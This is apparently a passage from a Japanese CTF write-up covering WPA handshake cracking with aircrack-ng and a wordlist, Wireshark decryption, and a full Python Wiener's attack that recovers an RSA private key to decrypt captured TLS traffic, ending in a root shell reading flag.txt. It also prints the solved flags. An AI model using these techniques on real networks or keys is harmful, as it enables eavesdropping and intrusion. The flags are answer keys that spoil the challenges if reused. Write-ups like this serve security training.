[+] 54 68 65 20 66 6c 61 67 20 69 73 3a 20 43 54 46 7b 35 38 34 62 33 31 32 62 62 35 62 62 33 34 30 65 39 34 30 38 35 63 34 33 61 62 61 30 36 33 63 35 62 35 61 38 38 30 33 39 31 33 39 33 62 61 65 63 66 37 33 37 64 38 37 32 34 36 36 39 36 63 62 37 7d
[*] The flag is: CTF{584b312bb5bb340e94085c43aba063c5b5a880391393baecf737d87246696cb7}
CTF{584b312bb5bb340e94085c43aba063c5b5a880391393baecf737d87246696cb7}

wifibasic (Network, Wireless)

$ aircrack-ng -w /usr/share/wordlists/rockyou.txt wifibasic.cap 
Reading packets, please wait...
Opening wifibasic.cap
Read 968 packets.

   #  BSSID              ESSID                     Encryption

   1  02:00:00:00:00:00  BitSentinelRulez          WPA (1 handshake)
   2  02:00:00:00:01:00  Unbreakabl3               Unknown
   3  02:00:00:00:02:00  YetAnotherHacker          WPA (0 handshake)
   4  02:00:00:00:03:00  Unbreakable               Unknown
   5  02:00:00:00:04:00  TargetHiddenSSID          WPA (1 handshake)

Index number of target network ? 5

Reading packets, please wait...
Opening wifibasic.cap
Read 968 packets.

1 potential targets


                               Aircrack-ng 1.7 

      [00:00:00] 131/10303727 keys tested (1258.33 k/s) 

      Time left: 2 hours, 16 minutes, 28 seconds                 0.00%

                          KEY FOUND! [ tinkerbell ]


      Master Key     : 58 65 AF CE 4E 69 4C 14 DD 09 27 47 EB BD 45 EB 
                       27 9A 75 79 9C D1 4D F5 AF B6 DE 01 4D C2 A8 97 

      Transient Key  : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : C1 D1 C8 EC 42 1E 31 80 61 4C FF 7B 02 8F E4 19

以下を設定して、スクリプトを実行する。

BSSID = "02:00:00:00:04:00"
ESSID = "TargetHiddenSSID"
PSK = "tinkerbell"
CTF{73841584e4c011c940e91c76bf1c12a7a4850e4b3df0a27ba8a35388c316d468}

wifiland (Network, Wireless)

$ aircrack-ng -w /usr/share/wordlists/rockyou.txt wifiland.cap 
Reading packets, please wait...
Opening wifiland.cap
Read 4594 packets.

   #  BSSID              ESSID                     Encryption

   1  02:00:00:00:00:00  BitSentinelRulez          Unknown
   2  02:00:00:00:05:00  wifiland                  WPA (1 handshake)

Index number of target network ? 2

Reading packets, please wait...
Opening wifiland.cap
Read 4594 packets.

1 potential targets


                               Aircrack-ng 1.7 

      [00:00:00] 8/14344392 keys tested (27.07 k/s) 

      Time left: 6 days, 3 hours, 11 minutes, 53 seconds         0.00%

                           KEY FOUND! [ 12345678 ]


      Master Key     : 7F 76 94 BD AC D9 1E 94 22 2F 00 BD 49 CD 4D DA 
                       8B 0C 31 16 D5 28 A4 BC C8 3F 8A 40 AE 78 D7 A5 

      Transient Key  : 2F 75 56 F7 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : A6 01 F2 FA 2C BE BB F7 BC CF 3A 2D 83 A2 44 29

Wiresharkの[編集]>[設定]から[Protocols]>[IEEE 802.11]の画面を表示後、Decryption keysの編集から以下を設定し、通信パケットを復号する。

・Key type: wpa-pwd
・Key     : 12345678

パケットにARPの通信がある。

3304	2024-03-13 22:50:05.094651	02:00:00:00:13:00	Broadcast	ARP	102	Who has 93.184.216.34? Tell 10.0.3.19

以下を設定して、スクリプトを実行する。

ip_client = "10.0.3.19"
ip_target = "93.184.216.34"
CTF{b67842d03eadce036c5506f2b7b7bd25aaab4d1f0ec4b4f490f0cb19ccd45c70}

traffic-e (Cryptography, Network)

TLSの通信がほとんどなので、証明書をエクスポートし、内容を確認してみる。

$ openssl x509 -in 6.cer -text -pubkey -inform DER
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            12:6b:f1:48:8d:dc:4b:02:a8:6d:0a:77:51:ff:63:0a:75:ed:f1:14
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=Ephvuln
        Validity
            Not Before: Mar 15 11:09:16 2024 GMT
            Not After : Mar 15 11:09:16 2025 GMT
        Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd, CN=Ephvuln
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1027 bit)
                Modulus:
                    07:3c:0d:c9:3d:ff:a0:26:b8:88:e0:eb:2f:da:7a:
                    c6:e1:82:a7:bc:5f:a4:39:00:d3:61:a4:42:eb:7c:
                    db:44:02:7b:31:96:76:b5:fd:37:49:1b:ce:30:8d:
                    76:e5:be:3e:a9:61:d8:7f:ff:5d:25:52:b4:34:ed:
                    8e:e6:62:a1:05:39:ea:21:f4:37:17:0d:f9:70:ef:
                    2b:6a:9b:e1:41:09:16:53:0b:83:97:b4:35:7b:f1:
                    78:85:2a:35:c9:0b:33:20:b4:93:21:3e:05:fb:00:
                    09:66:d8:9e:ba:09:25:c3:44:22:e4:80:a5:c9:17:
                    67:37:cc:98:ab:09:99:32:87
                Exponent:
                    00:97:de:37:9a:97:9d:08:04:59:a7:ab:09:b8:48:
                    ea:eb:be:83:79:ef:79:d2:5c:0b:e7:4d:24:35:a4:
                    0c:7e:11:db:51:7b:50:59:0c:fc:be:15:9d:d3:75:
                    22:1e:0f:45:d1:a0:d4:d9:a9:40:3f:fe:34:fb:1e:
                    40:2a:85:4b:41:71:6c:8e:aa:fc:0e:66:e6:f7:09:
                    e6:54:ea:e6:83:8d:69:b6:1e:b0:00:c0:a4:6d:13:
                    5c:e6:32:36:c2:76:d5:fe:26:28:48:62:97:98:e6:
                    e5:5a:f5:57:b1:0d:4e:84:67:01:22:35:ba:b0:fe:
                    5d:cf:81:d9:fb:83:2f:cb:ef
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                E0:02:07:E4:1E:35:4A:16:07:07:58:BE:65:4E:40:AA:D3:9B:BB:95
            X509v3 Authority Key Identifier: 
                E0:02:07:E4:1E:35:4A:16:07:07:58:BE:65:4E:40:AA:D3:9B:BB:95
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        03:01:3d:cf:26:97:63:11:a1:cf:be:5a:03:c5:2b:dc:a0:e8:
        6e:35:97:16:43:9b:4d:e0:60:6e:22:59:82:fd:49:7e:7a:ed:
        d5:6a:de:46:79:53:80:38:db:b9:03:7b:17:08:f0:f0:b3:a6:
        e1:a3:46:23:2a:0e:8a:0a:12:78:33:97:75:f2:fe:d7:6e:5c:
        51:8d:a0:11:3d:93:66:81:5c:4b:7c:29:d2:6c:49:9e:44:e8:
        89:5c:b5:09:b0:55:4e:2f:73:e9:b0:45:ea:a3:4d:b9:2e:23:
        8e:10:47:ac:ad:c5:a0:fd:98:dd:56:83:2f:75:73:0c:fd:9e:
        18:35:66
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQc8Dck9/6AmuIjg6y/aesbh
gqe8X6Q5ANNhpELrfNtEAnsxlna1/TdJG84wjXblvj6pYdh//10lUrQ07Y7mYqEF
Oeoh9DcXDflw7ytqm+FBCRZTC4OXtDV78XiFKjXJCzMgtJMhPgX7AAlm2J66CSXD
RCLkgKXJF2c3zJirCZkyhwKBgQCX3jeal50IBFmnqwm4SOrrvoN573nSXAvnTSQ1
pAx+EdtRe1BZDPy+FZ3TdSIeD0XRoNTZqUA//jT7HkAqhUtBcWyOqvwOZub3CeZU
6uaDjWm2HrAAwKRtE1zmMjbCdtX+JihIYpeY5uVa9VexDU6EZwEiNbqw/l3Pgdn7
gy/L7w==
-----END PUBLIC KEY-----
-----BEGIN CERTIFICATE-----
MIIDDTCCAnWgAwIBAgIUEmvxSI3cSwKobQp3Uf9jCnXt8RQwDQYJKoZIhvcNAQEL
BQAwVzELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEQMA4GA1UEAwwHRXBodnVsbjAeFw0y
NDAzMTUxMTA5MTZaFw0yNTAzMTUxMTA5MTZaMFcxCzAJBgNVBAYTAkFVMRMwEQYD
VQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBM
dGQxEDAOBgNVBAMMB0VwaHZ1bG4wggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEI
AoGBBzwNyT3/oCa4iODrL9p6xuGCp7xfpDkA02GkQut820QCezGWdrX9N0kbzjCN
duW+Pqlh2H//XSVStDTtjuZioQU56iH0NxcN+XDvK2qb4UEJFlMLg5e0NXvxeIUq
NckLMyC0kyE+BfsACWbYnroJJcNEIuSApckXZzfMmKsJmTKHAoGBAJfeN5qXnQgE
WaerCbhI6uu+g3nvedJcC+dNJDWkDH4R21F7UFkM/L4VndN1Ih4PRdGg1NmpQD/+
NPseQCqFS0FxbI6q/A5m5vcJ5lTq5oONabYesADApG0TXOYyNsJ21f4mKEhil5jm
5Vr1V7ENToRnASI1urD+Xc+B2fuDL8vvo1MwUTAdBgNVHQ4EFgQU4AIH5B41ShYH
B1i+ZU5AqtObu5UwHwYDVR0jBBgwFoAU4AIH5B41ShYHB1i+ZU5AqtObu5UwDwYD
VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOBggADAT3PJpdjEaHPvloDxSvc
oOhuNZcWQ5tN4GBuIlmC/Ul+eu3Vat5GeVOAONu5A3sXCPDws6bho0YjKg6KChJ4
M5d18v7XblxRjaARPZNmgVxLfCnSbEmeROiJXLUJsFVOL3PpsEXqo025LiOOEEes
rcWg/ZjdVoMvdXMM/Z4YNWY=
-----END CERTIFICATE-----

公開鍵のパラメータは以下であることがわかる。

n = 0x073c0dc93dffa026b888e0eb2fda7ac6e182a7bc5fa43900d361a442eb7cdb44027b319676b5fd37491bce308d76e5be3ea961d87fff5d2552b434ed8ee662a10539ea21f437170df970ef2b6a9be1410916530b8397b4357bf178852a35c90b3320b493213e05fb000966d89eba0925c34422e480a5c9176737cc98ab09993287
e = 0x0097de379a979d080459a7ab09b848eaebbe8379ef79d25c0be74d2435a40c7e11db517b50590cfcbe159dd375221e0f45d1a0d4d9a9403ffe34fb1e402a854b41716c8eaafc0e66e6f709e654eae6838d69b61eb000c0a46d135ce63236c276d5fe262848629798e6e55af557b10d4e8467012235bab0fe5dcf81d9fb832fcbef

Wiener's Attackでnを素因数分解する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from fractions import Fraction

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n // e))
        N = n
        n = e
        e = N % e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calcKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phin = (e * d - 1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

n = 0x073c0dc93dffa026b888e0eb2fda7ac6e182a7bc5fa43900d361a442eb7cdb44027b319676b5fd37491bce308d76e5be3ea961d87fff5d2552b434ed8ee662a10539ea21f437170df970ef2b6a9be1410916530b8397b4357bf178852a35c90b3320b493213e05fb000966d89eba0925c34422e480a5c9176737cc98ab09993287
e = 0x0097de379a979d080459a7ab09b848eaebbe8379ef79d25c0be74d2435a40c7e11db517b50590cfcbe159dd375221e0f45d1a0d4d9a9403ffe34fb1e402a854b41716c8eaafc0e66e6f709e654eae6838d69b61eb000c0a46d135ce63236c276d5fe262848629798e6e55af557b10d4e8467012235bab0fe5dcf81d9fb832fcbef

p, q = wiener(n, e)
print('p =', p)
print('q =', q)
print('e =', e)

実行結果は以下の通り。

p = 50762598711424764578309835161028536505017062779535728598193739021422991384075097619364837920473739477192741993467746530937273178568830967465304495915565021
q = 25620367680132110555879075164092814080992627707664402686174667544938777823227941746742946229140990674686598986153493963260846509398173854491013932770379699
e = 106645361573597107845396067866499068630105849159408665310862014583870062061704662230754284832387896920427209753236862548800746662398609212688373613186979102970308417884832531601035544107102590028211579550508699494971288803583755640940424098301425895738898909222425910339731329121362635050810847489912118168559

これで、p, qがわかり秘密鍵を生成できる。

$ rsatool.py -f PEM -o secret.pem -p 50762598711424764578309835161028536505017062779535728598193739021422991384075097619364837920473739477192741993467746530937273178568830967465304495915565021 -q 25620367680132110555879075164092814080992627707664402686174667544938777823227941746742946229140990674686598986153493963260846509398173854491013932770379699 -e 106645361573597107845396067866499068630105849159408665310862014583870062061704662230754284832387896920427209753236862548800746662398609212688373613186979102970308417884832531601035544107102590028211579550508699494971288803583755640940424098301425895738898909222425910339731329121362635050810847489912118168559
Using (p, q) to calculate RSA paramaters

n =
73c0dc93dffa026b888e0eb2fda7ac6e182a7bc5fa43900d361a442eb7cdb44027b319676b5fd374
91bce308d76e5be3ea961d87fff5d2552b434ed8ee662a10539ea21f437170df970ef2b6a9be1410
916530b8397b4357bf178852a35c90b3320b493213e05fb000966d89eba0925c34422e480a5c9176
737cc98ab09993287

e =
97de379a979d080459a7ab09b848eaebbe8379ef79d25c0be74d2435a40c7e11db517b50590cfcbe
159dd375221e0f45d1a0d4d9a9403ffe34fb1e402a854b41716c8eaafc0e66e6f709e654eae6838d
69b61eb000c0a46d135ce63236c276d5fe262848629798e6e55af557b10d4e8467012235bab0fe5d
cf81d9fb832fcbef

d =
288ab34527ecad227bd3ec9e847ca8942f388b65d3a759397c5faa9ee7ffe007

p =
3c93a69f7a213fa1a8da9903d92c278553b67525beded842fcef7bfc4884679a808f94fee5f155bf
d0c211b0d19eec38420918065cb4086ed426c543d24ec7fdd

q =
1e92dbfa3f67f1525e1fa427e571434a9dc64e05de873cce671820e83932e7d31633bd16cea7b0a4
835c70d55ff36accc6749a0c7744c8d328dd30f1af243c7b3

Saving PEM as secret.pem

このファイルをWiresharkで設定して通信を見てみる。

IPアドレス:127.0.0.1
ポート番号:4433
プロトコル:ssh

TLSストリームを見る。

whoami
root
cert.pem
flag.txt
priv.pem
server.sh
test.py
cat flag.txt
CTF{46b1d043b3d2d98a267455affce276c47a1f2bfb940881d1e9725c798373f532}
exit
CTF{46b1d043b3d2d98a267455affce276c47a1f2bfb940881d1e9725c798373f532}